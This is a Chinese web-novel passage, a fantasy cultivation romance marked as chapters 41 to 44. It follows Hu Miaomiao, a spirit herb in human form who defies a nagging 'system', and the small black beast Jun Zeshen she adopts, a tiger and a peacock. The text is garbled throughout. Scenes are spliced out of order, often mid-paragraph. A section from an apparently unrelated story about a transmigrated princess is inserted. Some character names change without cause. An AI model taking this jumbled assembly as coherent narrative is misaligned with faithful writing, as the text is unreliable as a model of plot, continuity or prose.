胡淼淼默默在心里祝福便收回视线,把注意力转移到一直在她脑海里嘴碎的声音上。 “相信我,男主未黑化前还是一只毛绒绒的好兽,你难道不喜欢吗?只要阻止他黑化不让他最后毁灭世界,我就有能力送你回原本的世界。” “你可以一边吸男主一边做任务。” “况且我可以帮你逃离这男人的魔爪,不再被他利用,脱离你所知道的结局。” 它的声音越来越急切,一口一个毛绒绒,对毛绒控来说诱惑力极强,没有人比系统更了解胡淼淼,它十分肯定这棵草不会拒绝。 然而,胡淼淼把袖子捋了捋,盖住皓腕的伤口,明净清澈的眸子略显惆怅,“你应该就是传说中的系统吧?作为一棵成熟的草,不能吊死在一只毛绒绒身上,我要撸遍所有毛绒绒。” 系统没有解释自己的由来,“所以呢?” 胡淼淼扶着墙壁,“需要我这个懒鬼拯救世界,那这个世界已经没救了,干脆放弃治疗吧。” 系统像是想到什么,突然冷汗涔涔:“别说了……” 她不以为意,“又不会真崩。” 几乎是话音刚落,系统的声音突然无影无踪,徒留胡淼淼忧郁四十五度角望天,看见的是黑漆漆的山洞顶部,以及一层慕言辞走之前布下的结界。 慕言辞每次来都会假惺惺说,为了保护她身份不暴漏,只能委屈待在这里,名正言顺限制她的自由,胡淼淼继承了原主的记忆,回想男人那张虚伪的嘴脸都忍不住犯恶心。 这破地方待不了一点。 脚下的灵泉开始晃荡,周遭灵气混乱,一道惊雷宛如巨龙震响了一方天地,照亮了长夜和她灵动的眸子。 她勾了勾唇角,露出一抹坏笑。 咔嚓——— 又是一声惊雷,外面满天大雨倾泻而下,整个青泽宗都为之一颤,禁制被打破,一棵巴掌大的银绿色小草迈着根须,鬼鬼祟祟撒丫子跑,欢快地摇摆着叶子逃窜入山林中,仿佛鱼儿跃入大海,眨眼消失不见。 临走前,最顶端的叶子望了望天。 她知道那边正有一个人在渡劫,观看雷势并不乐观。 胡淼淼这人从小到大有一张反向乌鸦嘴,说什么都会反方向发展。 当然,时灵时不灵,不经意间说祝福往往会带来相反的效果。 没办法,她也不想的,世界灭不了但某人会吃点苦头,自求多福吧。 连一个亲吻都要询问的人,能有什么坏心思呢? 只不过,胡淼淼有些踌躇,“可是……我害怕,我要是亲吻的时候,一不小心……把你榨干了怎么办?” 君泽琛:“???” 什么东西,她在说什么东西? 在人界久了,狼耳会出现幻觉吗? 40-50 第 41 章 第 41 章 胡淼淼说完这句话明显感觉刚刚还蛮温馨的狐狸洞,变成了阴恻恻的怪物屋。 君泽琛就是故事里的大怪物,脸色瞅着挺吓狐。 她又没有说错嘛。 她不和他亲密肯定不是因为害羞,而是为他考虑。 显然男人并不领情,而是危险地揪住她脖颈后的软肉,轻轻揉捏,胡淼淼像是被捏住命脉,脑袋一缩,不敢吱声。 没有一个小动物被捏住后颈而不老实的,更何况是狐狸呢。 胡淼淼被吓了一跳, 眼睁睁看着那火星子冲自己而来,并烧毁了她的藤蔓,烫得她赶紧收回灵力,心有余悸地躲开攻击。 小兽喷完火后本来要逃跑,结果下一瞬腿一软,撕心裂肺的灼烧感瞬间蔓延到全身,他在心里哼了一声,压下到嘴边的痛呼。 弱小的身躯,受不得他自身的力量,哪怕动用了一点也会遭受到反噬。 上次这般疼,还是反抗欺辱他的妖族,暴露了控火的能力,引得妖族忌惮,强行给他灌入化妖水。 没人会习惯疼痛,君泽琛也一样,他瘫软在草地上,连呼吸都是宛若无数利刃划过肺腑,浑身本能的剧烈抽搐。 原以为化妖水要不了他的命,未曾想,这才是刚刚开始吗? 那之前为何没发作? 没精力去思考。 短短一段时间的折磨,对君泽琛来说却仿佛经历了沧海桑田,意识也渐渐模糊了起来,君泽琛咬紧牙关愣是一声都没叫出来,眼底闪过一抹血色,还有一丝倔强。 他不信,会轻易死在这里。胡淼淼看着灵玉中的,忍不住摸了摸怀里的小东西,猝不及防又被咬了一口,小登西脾气很暴躁,她熟练地摸摸他的小尖牙,“还没给你取名字,你倒是提醒我了,叫什么好呢?” 毛球眼睛瞪大,它通体黝黑,唯有眼睛细看,能看见深处的暗红色,好似烧红的黑泽铁,在光线昏暗下目光灼灼烧人。 他有名字,从懵懂的记忆中,有人拍着他的脑袋,态度嚣张且随意:“你乌漆嘛黑像掉君水里了,就姓君吧。” 从此他有了姓氏,泽琛,则是因为对方看他太小,太软,想给他取个十分硬汉的名字。 铁骨琛琛。 而世界上最硬的铁,是泽冰铁。 此时此刻他仰头,看眼前的人类女子面带笑意,眉眼灵动,熟悉个感觉,似和幼时重合了。 心,控制不住跳得更快,他似触景生情,松开了咬住她的嘴,猫儿般的胡子抖了抖。 竟觉得误会她了。 人类不一定都是坏的,她不仅不是要吃他,还要给他取名字。 胡淼淼思索:“文人一肚子君水,你嘛动不动就咬人,小肚子里都是坏水,就叫小坏吧。” 君泽琛:“……” 牙又开始痒了。 “怎么,不乐意?”胡淼淼明明长得很好看,唇红齿白,眼中自带灵气,却十分嚣张地托着他短短的爪子立起来凑到自己眼前,笑话他:“跳起来挠我膝盖?” 黑色的毛团子蜷缩起来,谁能想到小小的身板里承受着怎样的滔天巨浪,心中的血气越来越重直到一丝清爽的香草味把他包围,犹如一双手,倏然从深泽中拉了他一把,将他带回人间。 火烧火燎的痛感被清泉浇灭,收敛了张狂的气焰,不再侵蚀他的筋脉。 残留下来的痛感,清晰地告诉他,刚才那不是梦,他再一次活了过来。 君泽琛喘了一口浊气,睁开了眼睛,眼底的红光一闪而逝,紧接着对上人类女子精致的脸庞。 她的脸很美,皮肤细腻得哪怕用妖族的眼力也看不出半点瑕疵,此时的她比他本人还着急,“你怎么样了?我就是逗你玩儿而已怎么气性那么大,再忍忍我已经摇人了,一会就带你去看药师。” 胡淼淼用通灵玉给王岚发了消息,没一会对方就御兽飞了过来,和她签订契约的是一只清风鸟,飞行速度极快。 好大一只。 换做以往,胡淼淼早上去手欠摸两把了,然而现在她满心都是小黑崽,她急速道:“他刚才喷了一口火就这样了,你快看看他,不对,御兽宗应该有兽医的。” 王岚表情古怪:“这就是你说,病入膏肓,快要死了的小兽?我怎么看着……还能凑合活?” 胡淼淼一愣,低头一看,发现黑毛球的状态比刚才好了很多,正睁着黑黝黝的眼睛一瞬不瞬盯着她看。 只不过…… 她抽出一只手,掌心上全是血迹。 小黑球软哒哒地趴在胡淼淼怀里,浑身的毛是黑色的,很难发现其他颜色,所以从他身上沁出的血并不显眼。 底下那层毛早就湿透了一摸一把血,胡淼淼心惊胆战地捧着,“他这么小一只,淌出这么多血,怎么办。” 【救救!他要死了!!!】 小毛球耷拉下耳朵,试图盖过人类的心声,可她一个劲喊救救,吵得很。 她如今已经进了御兽宗,还有什么用得到他的呢? 君泽琛想不明白,难不成她真的出自内心地担心他? 图什么? 君泽琛心情复杂,为了避免耳聋,颤巍巍地伸出前爪,藏好了爪尖儿,用肉垫拍拍她的手,示意她安心,他还活着。 结果,胡淼淼眼泪汪汪和他握爪,“完了,回光返照。” 君泽琛:“……”修真界明面上分为三大势力,青泽宗、傲来寺、天机阁,以及零零碎碎的小仙门。 距离青泽宗最近的小镇,茶馆之中,众散修喝茶闲聊着。 “昨天晚上青泽宗的方向的雷劫整整劈了一夜,不知是何方高人在那里渡劫!” “我表哥在青泽宗外门打杂,听说是青泽宗首席大弟子冲击元婴,他才多大啊,像咱们这些,怕是毕生都无法结丹,而他不过二十出头,便有了如此天赋,可惜天妒英才,不知何故,他的雷劫要比平常元婴之人多了几十道……” “看昨儿那架势,他怕是凶多吉少,可惜、可惜了。” 炼气、筑基、金丹、元婴、化神、合体、大乘,是修仙之人的必经之路,然而更多人卡在筑基上,一辈子碌碌无为。 结金丹后,修为每上升一个大阶级都会引来天雷,劈好了脱胎换骨,劈不好粉身碎骨。 众人讨论得热火朝天,角落里坐着一位少女,她满头青丝仅用一根不知从哪折断的木枝挽起,露出精致如画的脸,一双灵动的眸子在阳光下划过似有似无的浅绿,此时正氤氲着莹莹火气。 有没有一种可能不是天妒英才,是因果循环呢? 茶馆端茶递水的伙计抖动着抹布走过去,他早就注意到这漂亮的小姑娘了,不过…… “唉不是,你来这半天了,也没点茶水不会没钱吧?我可告诉你,我们这上好的灵山茶,喝了能疏通筋脉洗精伐髓,你不喝就走,别在这占位置。” 他说得对,胡淼淼还真没什么钱。 原主好好一棵草被慕言辞薅走,一直困在青泽宗后山,她逃出来除了那厮给的“定情信物”身无分文。 胡淼淼发现穿书的这根草格外娇气,需要经常补水,外面日头太晒,对草极其不友善,所以只能找个地方躲着。 更何况,胡淼淼余光瞥见旁桌的茶盏,里面摘采的是新鲜茶叶,绿叶正舒展着,她忍不住思考,同根生相煎何太急,她那是没钱喝茶吗? 那是心疼同类。 吸溜吸溜,胡淼淼默默移开视线,假装听不到自己想喝同类的吞口水声。 他听到,这一瞬间,人类女人的心里,他坟头草长什么形状都想好了。 根茎晶莹剔透,叶子是浅绿色的,边缘闪着银光星星点点的,像星星,形状是由四个扇形组合在一起,叶子的边缘微微弯,开花形状,君泽琛暗想,是一棵很漂亮的草。 “还能再抢救一下。”王岚看不下去,赶紧带着胡淼淼他们去找御兽宗的药师,生怕再晚一步,可怜的小兽被那个不着调的女人埋了。 修真界修士寿命长久,御兽宗的这位药师姓助,传言助药师的先祖有参与当年的人妖之战。 御兽宗不知助药师多大年龄,只是知道他这一生,不救人,只救兽。 一路上,王岚跟胡淼淼说:“助药师很厉害,只不过性格很复杂……” 胡淼淼:“我懂,家家都有难念的经,人人都有过不去的坎,我不会多问,只要能治好我的崽,怎样都行。” 君泽琛:“……”谁是你的崽? 他已经缓过来劲儿了,除了血肉筋脉中残留的灼伤感,其实没太大毛病,而且假使真如王岚所说,药师有点能耐,以妖族和药师之间的仇恨,看出他体内的化妖水就糟了。 思及此处,他不安地挣扎了一下,结果就被胡淼淼按住了爪子,“别动弹,你不要命啦?” 她心里又开始思考坟头草的颜色。 君泽琛:“……” 清风鸟刚到药师院子,一落地,胡淼淼火急火燎跳下去,还记得礼貌敲门,“助药师在吗?救救,有兽快不行了!” 没敲几声,房门被打开,外面天色尚早,房间内却透不进去丝毫光亮,里面空荡荡的,好像什么人都没有,乍一看,和进入了鬼屋似的。 胡淼淼脚步一顿,意识到这是修真界。 虽然她远离了剧情,但是难保有什么犄角旮旯的地方遇见反派炮灰,尤其是药师,在小宗门做些亏心事儿隐瞒所有人,那实在太容易了。 在这一瞬间,胡淼淼脑子疯狂运转,几乎闪过各种阴谋论。 君泽琛坏坏地抢走了胡淼淼的果子,“别吃了,答应我一件事儿,我带你去镇上的馆子吃。” 胡淼淼刚要炸毛,听到他的话目光转向疑惑,询问他什么事。 男人薄唇勾了一下,弧度极小,害得胡淼淼以为自己产生了错觉。 紧接着就听她说:“你说,怎么样才能名正言顺追到我的心上人呢?让她喜欢我呢?” 胡淼淼:“?” 她警惕:“呜?”你心上人的事儿为什么问狐呢? 第 42 章 第 42 章 “当然是因为你们狐狸更擅长感情,更何况你那么聪明,还和我心上人的同性别,应该比我更懂她的心思才是。” 想骗一只狐,随便找个理由就能让她放下戒备。 果然,说完这句话之后,胡淼淼用心思索。 她要怎么才能答应他的追求呢? 其实呢,早在狐狸给他机会让他住狐狸洞开始,就已经逐渐接纳男人,所谓的追求,不过是狐狸想试探男人的耐心而已。 君泽琛看了一眼自己身上,所以,她给他爪子上拴了一条荧光绿的布条? 胡淼淼叹气:“你也别嫌弃,比你那乌漆嘛黑的颜色强,乖乖等我,谁要是想欺负你,看我不给他一顿柳条鞭子。” 她又断断续续说了一堆,活像是送孩子高考的老母亲,君泽琛耳朵嗡嗡的,干脆一甩尾巴,迈着小短腿跑了。 “唉?”胡淼淼眼睁睁看着前一秒还在身前的毛绒绒,后一秒跟火烧屁股似的跑了,不由得挠了挠头,“搞什么,我还能吃了他?” 长时间沉默得系统都忍不可忍开口提醒:“你快点吧,其他队伍都进去了,就你还在门口磨蹭,要不要进入内门了?” 胡淼淼:“当然要,不过我先补个水,叶子枯了。” 系统使出杀手锏:“再晚一步进去,不快点找到你的毛绒绒,他就要被人踩扁了。” 话音刚落,胡淼淼风风火火冲入另一边的人类入口,速度和刚才的小黑球有过之而不不及。 系统:“……” 见这小姑娘一直答话,小伙计一挥手,“既然姑娘没钱,那这边请……” “谁说没钱了?” 胡淼淼也跟着大手一挥,一块玉佩甩到了桌子上,她扬扬下巴,“记得找零。” 茶馆的众人再次把视线落在这边,只见茶桌上的玉佩煜煜生辉,乳白色雕刻着淼叶纹,质地非凡,其中流转着灵气,绝对能抵得过一块上品灵石。 小伙计的脸变得飞快,瞬间把玉佩拿起颠了颠,对胡淼淼热情开口:“姑娘您想用什么茶,咱这应有尽有,无论您是修为到了瓶颈,还是筋脉不顺畅,或者灵根受损,统统包治……” 胡淼淼瞧着他上嘴皮子下嘴皮子一碰,推销得飞快,不由得挑眉,美眸璀璨,灵气逼人,“不要灵茶,要水就可以。” 小伙计:“……” 他一言难尽,说了这么多,这姑娘是油盐不进啊。 心里逼逼赖赖,可瞧着怀中玉佩的成色,他不敢再想方才那般怠慢。 人类入口和灵兽入口是不一样的,而且入口具有传送阵,胡淼淼是最后一个进去的。 修真界的传送阵很奇妙,眨眼的功夫景色就不一样了,灌木要更加繁茂,像是一堵绿色的高墙,遮盖住彼此的视线,上空雾蒙蒙的,进来之前王岚跟胡淼淼说了,上面禁止飞行。 胡淼淼试着调动周遭的木灵,能调动,却无法太顺畅使用,更无法沟通木灵找毛绒绒。 没错,身为同类,胡淼淼是可以和草木沟通的,可惜这里依旧有禁制。 她摸了摸鼻子:“还挺严谨。” 系统:“毕竟曾辉煌过,还是有一些底蕴的。” 胡淼淼:“你怎么不催我去找男主了?” 系统:“……最近有事,忙不过来。” “是嘛~什么事比感化男主拯救世界还重要,该不会……” 系统:“慎言,你还是想办法找你的那个小宠吧。” 什么小宠,说得这么难听,胡淼淼不开心了,冷哼一声不理会它,开始想不办法去找到小黑球。 比赛有三轮,第一轮关乎小黑球的安全,胡淼淼不会因为不想通关而故意拖慢行动。 可是她运气一向不好,一路上碰见不少御兽宗弟子,愣是没找到系着荧光绿布条的小东西。 时间一点一滴流逝,一个时辰悄然过去,胡淼淼累得腿都打颤了,扶着一旁的树大口喘气,却不想手下的大树一震,咔嚓嚓从她掌心处碎裂。 她吓了一跳,连忙收回手,树后面的一人也吓了一跳,“哎呀,什么情况?” 那是一个少女,脑袋上用红布条扎着两颗丸子头,脸上有淡淡的雀斑,五官还算清秀,她心有余悸地拍拍胸口,正要对胡淼淼说什么,不远处又窜出来个蓝绿蓝绿的东西。 少女大惊失色,赶紧躲到胡淼淼身后,双手拽着她的胳膊疯狂颤抖。 “看不见我看不见我……” 胡淼淼定情一看,是一只花花绿绿的孔雀,修真界的动物体型都很逆天,这只比胡淼淼还高,正闪着脖子往她身后看,一双鸟眼晶晶亮。 胡淼淼唇角扯了一下,安慰地拍了拍少女的手,“不至于,一只孔雀而已,你看它眉清目秀的,也不凶啊,应该不会伤害你的。” 身后的少女语带哭腔:“你要是被一只灵兽求偶,你也慌。” 胡淼淼:“灵兽求偶?怎么可能,这辈子都不可能…等等?” 她倏然想到什么,不敢置信地侧头问:“你就是论坛上那个被孔雀对着开屏的那位?” 少女哽咽:“正是区区本人,我好不容易钻进树洞躲开它,都怪你一巴掌给震碎了,现在好了,你快帮我赶走它,不然我跟你没完。” 胡淼淼:“……” 这不巧了,她真的没用力啊。 她讪讪地移回目光,对上拉长脖子看少女的孔雀道:“佛曰,苦海无涯回头是岸,你们鸟人是不会有好结果的。” 孔雀歪了一下脑袋,似在思考她话中意思,没一会儿,它眼中就蓄满泪水,不敢置信地看着胡淼淼。 活像白素贞看法海,一副“法海你不懂爱”的表情。 胡淼淼反思自己,是不是说得太过了? 灵兽和人类不同,不管怎么说这只孔雀也是只华丽的大漂亮,这般说人家不太好,正要纠正什么,却见孔雀往后退了两步,和她们拉开距离。 胡淼淼一喜,“你看,孔雀能有什么坏心思,你和它交流交流,一切问题都会解决,它是一只通情达理的鸟,又不会纠缠你。” 身后的少女没吱声,胡淼淼的话戛然而止。 巨大、华丽的、泛着光的孔雀尾羽,犹如色彩丰富的画卷,绽放在眼前。 世人皆爱画山水,花鸟,孔雀是最华丽的鸟类之一,尤其是公孔雀,开屏时像是上帝精心描绘出的绝美佳作,绿色中闪耀着夺目的蓝,阳光下熠熠生辉,好看得让人想要每日放在金丝笼中心上好好珍藏。 孔雀含泪开屏,盯着胡淼淼身后的人,低低地叫了一声,鸟声宛转动听,透着无尽的深情。 胡淼淼差点被闪瞎眼,一回头就对上少女哀怨的眼神:这就是你说通情达理的孔雀,不会过多纠缠? 胡淼淼:“……”闭麦了。 君泽琛嗅着气息找到胡淼淼,一眼就看见了这幅景象。 小小的身影,僵硬地用爪子勾在树干上,眼睁睁看着那只花枝招展的臭鸟,正对着胡淼淼的方向撅着个屁股。 那尾羽漂亮得不像话,但也十分……不庄重。 君泽琛下意识回头想看自己的尾巴,却看见一片黑黝黝,他这身躯圆得连尾巴都看不见,更何况还是不讨喜的颜色。 任何生物,都喜欢漂亮的颜色,应该不会有人喜欢黑色吧? 骗子,说好的进来就找他,结果喜新厌旧,看上旁的鸟了。 君泽琛爪子在树上硬生生划过一道划痕,划出了几道火星子,树应声而倒,下一秒他的身影消失不见。 与此同时,正在想办法讨少女欢心的孔雀只觉得屁股一热,回头之后大惊失色。 羽毛易燃,不知哪吹来的火星子落到它的雀尾上,它慌乱地一屁股坐地上,想要压灭火势,火苗像是长了眼睛似的,它压了左边,火苗就窜到右边继续燃烧。 胡淼淼余光好像瞥见了什么,但孔雀屁股着火了,她来不及多想赶紧去帮忙灭火,她身后的少女也急了,这只鸟毕竟和她相处那么久,就算不想人鸟恋也不能眼睁睁看着它烧死。 这火不知什么来历,不会对它造成太大伤害,却十分有灵性地在他的羽毛里东躲西藏。 一时之间,二人一鸟一顿忙活,愣是灭不了调皮的火苗,火苗熏黑了那身艳丽的尾羽,直到最后飘到了胡淼淼的手背,灼了她一下,才彻底熄灭。 像是小兽惩罚性地咬一口。 胡淼淼捂住手嘶哈了一声,突然想到,刚才是不是有一道荧光色的东西窜跑了? 当意识到那是什么后,胡淼淼俏脸一黑,骂了一句:“臭东西!” 进来时还好好的,现在发什么疯好端端烧人家孔雀。 胡淼淼甩了甩微微泛红的手,对孔雀二人道:“抱歉,刚才那火应该是我家灵兽不懂事闹的,这些给你,等出去找助药师给它看看尾巴。” 孔雀悲伤地叫了一声,但很快就得到了心上人安抚,勉为其难接受赔偿。 也算是因祸得福,心上人终于理它了。 安顿好他们,胡淼淼这才怒气冲冲追了上去。 最好别被她逮住,不然今天非得好好教育他一顿。 长得可爱也没用! 等回去的路上,她抓心挠肝。 男人假装没看见,拍了拍她的狐臀,“你该回去了,我要去找我心上人。” 言下之意就是,她该变回去了。 狐狸趴在他肩膀上,没动,爪子紧张地踩踩踩,浅蓝色的眼珠在阳光下晶莹剔透,眼汪汪看他。 “嗷呜……” 站住,狐求你个事儿。 第 43 章 第 43 章 狐狸很少求助人类的,和捉妖师混熟了,也拘谨地在他肩膀上踩爪爪,就像一只猫猫在踩——奶,肉垫轮替,小眼神期期艾艾,水汪汪的仿佛随时都能化掉。 这样的狐狸,别说是找君泽琛帮忙,就算让他做任何事,他都不会犹豫。 男人清了清喉咙,怕惊扰到她,嗓音压低,“什么事儿?” “嗷呜?”我想学术法,你能教我吗? “吼——” 近些日子,周子瑜没去留恋花丛,而是对自家逆子伤透了心。 某只大白虎,寻死觅活地三天两头拆个家,周子瑜知道它为何抽风,正是因为知道,才气得要吐血。 说起来,白虎是他父亲送给他的玩伴,成年后结契,双方感情颇深…个屁,比不过半路入门的小师妹。 彼时,他正守在院门口,双臂环胸,右腿屈膝,脚踩门框,和自家契约灵兽发火,“二十年,咱们俩认识二十多年,你竟然为了那个小师妹抛弃我这个铁哥们?” 白虎:“吼!”【遇你】 胡淼淼正揣着“捡”来的毛绒绒狂奔,生怕晚一秒,小崽子被人认领回去。 从刚才开始,系统的声音消失不再催促她做任务,胡淼淼耳根子终于清净,她想,世界应该又出问题需要系统去维护。 这样,胡淼淼也乐得自在,最好永远别回来,感化男主的任务,谁爱做谁做她是不可能做的。 如果没记错,原主被男配碾碎了入药,但元神尚存。 人类只有修炼到化神境界,才会修炼出元神也就是人的灵魂出窍,只要元神不灭,还有机会淬炼出肉身。 而她这颗草特殊,生来就修出了元神。 后期男配用了卑劣的手段,让原主和他绑定在一起,元神离不开他。 在和男主发生冲突,原主的元神,被那只远古大妖一口吞了! 所以她为什么要去救赎男主,难不成要等他成长起来把她一口吞? 只要远离是非之地,男主和男配就伤不到她。 为今之计,找个宗门苟着,毕竟她现在拖家带口,自己怎么过都无所谓,苦了谁也不能苦了崽崽。 于是,君泽峥耳朵边又传来一阵古怪的笑声。 他:“?”人这一生有太多酱紫酿紫的坎坷,其中一项就是看需谨慎,搞不好啥时候就穿越了,尤其是演员,傻/逼的以为这是拍戏现场,剧组搞偷袭…… 总之,宫内那些皇上驾崩长公主伤心成疾的传言,胡淼淼每每听到都想捂脸。 她叫胡淼,但穿过来的长公主叫胡淼淼,一字之差却让人心飞扬透心凉。 胡淼淼瘫在床上假装自己是病号看着那些人忙里忙外,在心里深情地呼唤:“系统?喂?系统在吗?” 半晌没有回应,她叹气,好吧,她没有系统。 穿书啊,系统都不给,和原著作者一样不靠谱。 通过旁敲侧击,她知道自己穿越到《被反派弄死后我又重生了》这本坑爹里了。 故事主角是她弟弟,活到最后的却是反派,还和长公主颇有渊源。 本来是一个基建无CP文,小皇帝登基周围都是豺狼虎豹,皇亲们想要把他当傀儡,作为主角当然不是吃素的,里的孩子都是神童,他小小年纪坐稳位置干掉宗亲,但是后来他飘了。 唯一缠着的就是他长姐,长姐想升天他就不会让她下地狱,这不,长姐惦记镇北王家世子很多年,啥方法都用了,却一直没成功,皇上这玩意儿似乎都有爱下圣旨的毛病。小皇帝手一挥圣旨赐婚,强行让世子当驸马。 驸马这个位置旁人梦寐以求,世子却极其厌恶,接到圣旨硬生生白眼一翻气晕,长公主逮住机会去看望,谁知这厮和镇北王闹翻离家出走,隔了半个月硬生生偷袭了皇宫造反。 作为读者,这波操作胡淼淼没觉得有啥,毕竟每本书都有反派嘛,淡定没事莫慌! 然后,这个反派把长公主和男主皇帝集体弄死在皇宫。 众读者:“……艹!作者出来受死!为毛反派赢了?” 作者胆子挺肥,真敢出来受死,只不过她嘚嘚瑟瑟在作话里说:“放心,没重生的主角不是主角!” 小皇帝重生了,他早有所防,开始反杀反派,这波男主凭借主角光环赢了,然后反派世子也重生了! 读者肝胆俱裂:“作者出来受死!你特么的能不能用脑子写文?你直接写反派是主角得了。” 作者:“艾玛艾玛~也不是不可以,不过为了留下悬念,开放式结局,请自己想象。” 作者华丽丽烂尾。 当天这本书被全网站通缉,胡淼淼没看见结局,却知道自己这个长公主活生生死了三世,死法似乎还不同,世子或者无心搭理她这小角色看一眼都恶心,所以被世子马蹄子踩死,被世子随手掐死一丢,被世子乱箭射杀…… 按照这套娃的剧情,指不定死N次! 造孽,太造孽了。 胡淼淼默默伸手摸脖子,要不……跑吧? 他终于意识到自己在别人怀里,瞪大了眼睛,耳朵上的毛儿炸了一圈,伸着爪子想爬出去,奈何变小后他仿佛回到了幼崽时期,被一把按了回来。 女子的声音透着愉悦:“乖崽,我带你去混口饭吃。” 这个声音和刚才耳边的声音很像,却更清透,之前的声音相反,好似隔了一层纱,小兽歪脑袋思考,冷不丁脑袋又被摸了一把。 【手感真好,我一手能捏爆十个。】 “什么叫臭男人没有妹子香?你是一只虎,不是一只好色的狐狸精。” 白虎:“嗷——” “跟我学的?呸,要不要点脸,那么大一只虎竟要找人家小不点决斗,我都替你害臊!” “哼唧?” “这句听不懂……嗯?”周子瑜突然感觉不对劲,倏然放下腿,回头看去,第一眼,没看见什么不明生物。 第二眼,调整视线低下头,看见一只乌漆嘛黑的小可爱正仰着头叫着。 这声哼唧听不懂,完全听不懂。 周子瑜揉揉眉心,“这么小不要乱跑,刚才若是我没看见,你就被我踩扁了。” “啾,嗷啊呜……” 小家伙叫了一长串。 周子瑜:“……”听不懂,完全听不懂。 他身后的白虎却兴奋起来,一把冲了出去,差点把周子瑜撞倒。 白虎磨刀霍霍,用兽语说:“你要跟我决斗?” 君泽琛仰头,“对!你不是一直想和我打架吗?可以打,输了你要把你身边人类之前画得画像交给我。” 白虎根本不在乎,而是摇摇尾巴,“我若赢了,你就不能阻止我去见那个人类,不不不,我要和你换仆人!” 君泽琛:“……什么仆人?” 白虎尾巴尖一指身后,“他啊,伺候我吃伺候我喝,还要帮我梳毛,不是仆人是什么?” 如果胡淼淼在,一定会感叹,原来在大猫咪的世界,猫咪是主子,铲屎官竟然真的是仆人。 周子瑜:“……”父亲一直教导他灵兽是战斗伙伴,好朋友,好兄弟,小白竟然如此…… 这一刻,周子瑜仰头望天,好像有什么碎了一地。 君泽琛沉默半晌,开口:“她不是仆人。” 大猫不理解,歪了歪头,“那是什么?” 君泽琛陷入沉思,他还真不太确定和胡淼淼之间的关系,是亲人? 不太像,他们没有血缘。 在妖族只有一个种族的血脉,才算亲人。 在没碰见胡淼淼前,好像没人对他这般好,她除了有时候对他动手动脚,其他时候都很好,会关心他,会为他花灵石,还会亲密的叫他崽崽。 人类都说亲朋好友,不是亲人,那份温暖应该属于好友。 他犹豫半晌,给出答案:“是朋友,我不会拿她做赌注。你赢了我可以开其他条件。” 白虎其实也不是非要条件,不过是上次被这只阴险小兽陷害,心里憋着一口气想揍它而已,如今他送上门来,就别怪它不客气。 于是,周子瑜抑郁期间,没能及时阻止白虎以大欺小,等反应过来白虎已经扑了上去。 兽和兽之间也是有等级,那就是血脉压制。 作为御兽宗宗主之子,灵兽自然不会差到哪里去,传言小白身怀神兽血脉,换做其他灵兽,在它的威压下早已瑟瑟发抖,更何况双方体型差距太大。 白虎只需要一爪子就能把黑色小兽按在地上摩擦。 短短几秒,周子瑜觉得自己要疯了。 那可是御兽宗内门好几年才进入一只的契约灵兽,他们宗门未来的花骨朵,小小的一只,如果就这样被小白弄出个好歹,他亲爹不得劈了他。 他今后要如何面对小师妹? 对于御兽者来说,毁其灵兽,无异于毁了对方修炼的根基。 “小白你给我回来!” 可惜,一切来不及了,电光火石之间,大老虎扑上弱小无助的幼崽,并扑通一声左脚踩右脚,摔在原地。 一阵灰尘过后,周子瑜眼睛倏然瞪大:“小白?” 小白正趴在地上瑟瑟发抖,脑袋白色皮毛上的黑色毛球十分醒目,周子瑜甚至不知发生什么,他家小白就来了一个平地摔。 他并不知道,独属于灵兽妖兽能感知到的威压,无形中蔓延在这片天地。 小白也很茫然,小白正瑟瑟发抖,斗鸡眼似的想往自己头顶看,明明是似有似无的重量,却有无尽的妖力如同高山巨石死死压着它。 它哽咽一声,怎会如此。 君泽琛爪子轻拍,“画像。” 小白虎躯一震,扭头便看见周子瑜正震惊地看着它,简直丢尽了虎族的脸。 不行,再来。胡淼淼如偿所愿,美滋滋抱着水喝,普普通通的水饮入口中,却好似一汪清泉,裹挟着灵力,蔓延到四肢百骸,她恨不得化为原形,把根扎进去扑腾。 终于有水了,她整棵草差点枯萎。 说来,她是没钱,不过这块玉佩是慕言辞给原主的。 记忆中,那男人深情款款哄骗她:“无垠,这个你收着,我大事未成不能一直守在你身边,但是只要你需要我,可以拿着这枚玉佩就当是我在你身边陪着,上面有我的一缕灵识,可在关键时刻保护你。” 胡淼淼冷笑,慕言辞在原著里是男配,一步步短短几年爬到首席弟子的位子,忽悠原主跟玩似的。 什么保护,明明就是监视。 现在他遭雷劈不知道她逃跑,等缓过劲儿来,通过玉佩找到她轻轻松松。 思及此处,胡淼淼数了数从伙计手里换来的灵石,忧愁起来。 原身变成人形之后和人类一样,也要吃饭睡觉,除非能到达金丹辟谷…… 但是,她好像不能像普通人那般修炼,还要躲避慕言辞,这日子怎么过? “去找男主吧,只要男主不黑化,他就是你的贴心小棉袄,你饿了他做饭,你冷了他暖被窝,你想毛绒绒了,他还能给你撸撸,男主很乖的,只要你去感化他,温暖他,命都给你。” 胡淼淼:“……”这令人头皮发麻的“命都给你”,没想到系统这么快就解决完麻烦回来,她扯了扯唇角,目光幽幽落在窗外。 “按照剧情,男主如今应该在妖界和人界的交界处受苦吧?” 系统:“对,我可以给你指路,他很可怜的,只要你给他一点爱,命真的给你。” 白虎不服气,挣扎着想把脑袋上的毛团子摔下去,结果扑腾半天,愣是站都站不起来,最终有气无力地哀嚎,“下来,我输了。” 君泽琛瞥一眼垂头丧气的大猫,轻巧地从他头上蹦下来,无声落地,优雅至极,也可恶至极! 小白虎目瞪他一眼,蔫了吧唧转身进屋,没一会就叼着一幅画像出来。 平时它没少拆家,周子瑜也随着它闹,一幅画像而已。 君泽琛用爪子扒拉开,盯着画像几秒,小心翼翼收到空间戒指里,在小白虎视眈眈的视线下,礼貌地跟周子瑜打了声招呼,转身哒哒哒离开。 周子瑜一言难尽,“小白,我觉得,换契约兽也不是不可以,你出去记得别说是我的契约灵兽。” 那么大一只打不过一小只,丢不起那人。 白虎:“……” 它哽咽,也不拆家了,灰溜溜回到灵兽空间修炼,等它修炼成神兽,看它不削扁那只可恶的黑崽! 墙壁上的狐狸灯光摇曳,连着男人的影子都晃着,他铺好床,藏好了被子里的狐狸毛,背对着她,语气平静里隐藏着风波。 “可是觉得我厌烦?” 胡淼淼立即道:“怎么会。” 他那么好,天天给狐陪练,照顾她的衣食起居,世界上就除了好狗,就没有对她这么好的了。 第 44 章 第 44 章 “你既然不厌烦我,就是喜欢我?” 隐藏在阴影中的男人那么一大只,竟然因为她的一句话患得患失,也因为她的一句不讨厌,从而点燃新的希望。 男人的眼里似乎蕴含了万千星河 ,直看得胡淼淼不自在。 